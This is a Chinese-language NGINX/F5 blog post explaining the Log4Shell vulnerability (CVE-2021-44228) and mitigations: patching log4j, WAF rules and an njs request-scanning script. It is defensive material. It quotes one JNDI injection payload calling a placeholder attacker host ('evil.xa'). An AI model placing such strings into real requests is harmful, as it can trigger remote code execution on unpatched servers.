
2021年12月10日,星期五,这一天将被全球许多IT从业者铭记。当时,人们在广泛使用的Java应用日志库零日中发现了一个极其严重的漏洞,该日志库名为log4j。这一漏洞利用方式很快被命名为“Log4Shell”,各种规模的公司纷纷实施缓解策略。随后,各公司开始了漫长的补丁修复工作,截至本文撰写时仍在继续。
NGINX和F5已对该威胁进行分析,并在本文中提供多种缓解方案,帮助保护您的应用。
什么是Log4Shell?
log4j库2.15及更早版本存在以下文所述的远程代码执行(RCE)漏洞:CVE-2021-44228。(log4j2.16版本已修复该漏洞。)Log4Shell是利用此漏洞的攻击方式。那么,这究竟是什么漏洞?为何如此严重?如该CVE所述,Apache log4j Java库未正确验证输入。
log4j库和Java运行时的Java命名和目录接口(JNDI)功能可执行远程查找,从外部来源检索数据(例如从LDAP检索用户名或从DNS检索IP地址),并将其写入日志条目。遗憾的是,远程攻击者可以劫持JNDI,执行其编写的Java代码。下图说明了这种攻击。

要利用存在漏洞的目标,攻击者必须诱使应用程序代码写入包含如下字符串的日志条目:${jndi:ldap://evil.xa/x}。关键问题是:将该字符串放在哪里,才能使其最终出现在日志消息中?对许多应用程序而言,日志记录至关重要,每个传入请求的多种信息都会被记录,包括User-Agent和X-Forwarded-For等HTTP标头、URI以及请求正文。攻击途径有很多,只要log4j记录了该字符串,应用程序就可能遭到利用。
此漏洞是否会影响NGINX?
不会。NGINX本身不受此漏洞利用的影响,因为它使用C语言编写,不使用Java或任何基于Java的库。有关所有F5和NGINX产品针对CVE-2021-44228的官方响应,请参阅AskF5知识库中的文章“K19026212”。
NGINX如何帮助缓解此漏洞利用?
如上所述,攻击者必须通过HTTP请求中的某个位置将利用字符串发送到目标应用。NGINX提供了多种工具,可扫描传入请求中的入侵指标(IOC)并将其阻止。
阻止恶意请求的高效方法是使用Web应用防火墙(WAF)。WAF会将请求数据与一组预编译规则进行比较,扫描每个传入请求中是否存在CVE-2021-44228的迹象。然而,在零日漏洞利用出现后更新WAF规则,就像一场攻防竞赛。针对特定漏洞利用的WAF规则一经发布,攻击者就会寻找可绕过WAF的技术和模式。请务必及时更新WAF规则。
NGINX ModSecurity WAF
ModSecurity是一款开源WAF,NGINX也以商业产品形式提供该WAF,即适用于NGINX Plus的NGINX ModSecurity WAF模块。OWASP ModSecurity Core Rule Set(CRS)包含一条可缓解Log4Shell攻击的现有规则(932130)。如需进一步了解此解决方案和更高级的防护,请参阅CRS博客。
[编辑注:NGINX ModSecurity WAF已于2022年4月1日正式停止销售,并将于2024年3月31日终止生命周期。有关详细信息,请参阅我们的博客文章《F5 NGINX ModSecurity WAF即将终止生命周期》<.htmla>。]
NGINX App Protect WAF
NGINX App Protect WAF是一款现代应用安全解决方案。基于对该威胁和已知WAF绕过方法的持续调查,我们更新了服务器端代码注入特征集,新增规则以有效检测Log4Shell攻击。有关更多详细信息,请参阅AskF5知识库。
NGINX JavaScript 模块
NGINX和NGINX Plus被广泛部署在许多基于Java的应用程序前端,充当反向代理。对于无法使用WAF的用户和客户,我们创建了一个脚本,该脚本使用NGINX JavaScript Module(njs)。该脚本会扫描传入请求中的HTTP标头、URI和请求正文,并利用已知的IOC字符串和正则表达式匹配输入数据,阻止恶意请求。
njs脚本可从GitHub获取。有关安装njs模块的说明,请参阅《NGIN Plus Admin Guide》。
总结
应对Log4Shell的有效方法是使用log4j version 2.16或更高版本修补应用程序代码,从而禁用JDNI。如果无法立即修补,WAF可有效缓解该威胁,为应用补丁争取时间。如果尚未部署WAF,可以使用我们的njs脚本实施针对该威胁的特定防护。请参阅以下资源,了解更多信息,并为应用程序选择适当的防护措施。
资源
- CVE-2021-44228:官方CVE
- 针对热门Java库Log4j的零日漏洞利用,一份颇具参考价值的漏洞概述
- K19026212:Apache Log4j2远程代码执行漏洞CVE-2021-44228,F5官方回应
- CRS与Log4j、Log4Shell及CVE-2021-44228:ModSecurity Core Rule Set博客
- 使用NGINX njs检查CVE-2021-44228相关请求:NGINX JavaScript缓解方案
关于作者

相关博客文章
NGINX Plus R26 正式发布
NGINX Plus R26通过缓存JSON Web密钥集加快JWT验证,并强化TLS握手,从而提升安全性。NGINX JavaScript的新功能包括增强对异步函数的支持,以及实现WebCrypto API。
使用NGINX App Protect DoS保护gRPC应用,抵御严重的DoS攻击
gRPC具备开发人员设计和部署现代应用所需的速度与灵活性,但其开放性也使其极易受到第7层DoS攻击。NGINX App Protect DoS可保护gRPC应用免受此类破坏性攻击。
Ingress Controller 选型指南(第 2 部分):风险与面向未来的规划
了解选择错误的Ingress控制器可能带来的风险,以及如何从关键方面着手,让您的选择更好地适应未来需求。
NGINX Plus R19 正式发布
NGINX Plus R19扩展了监控功能,不仅提供更多指标,还新增了指标分析方式;增加试运行模式,用于测试限速效果;增强键值存储,以支持IP地址范围;并使限速更加动态。
NGINX现已正式加入F5
NGINX现已正式成为F5的一部分。Gus Robertson现任F5 NGINX业务部门负责人。他阐述了两家公司在人才、文化和愿景方面融合的价值,以及双方将如何携手增强NGINX的开源产品和商业产品。
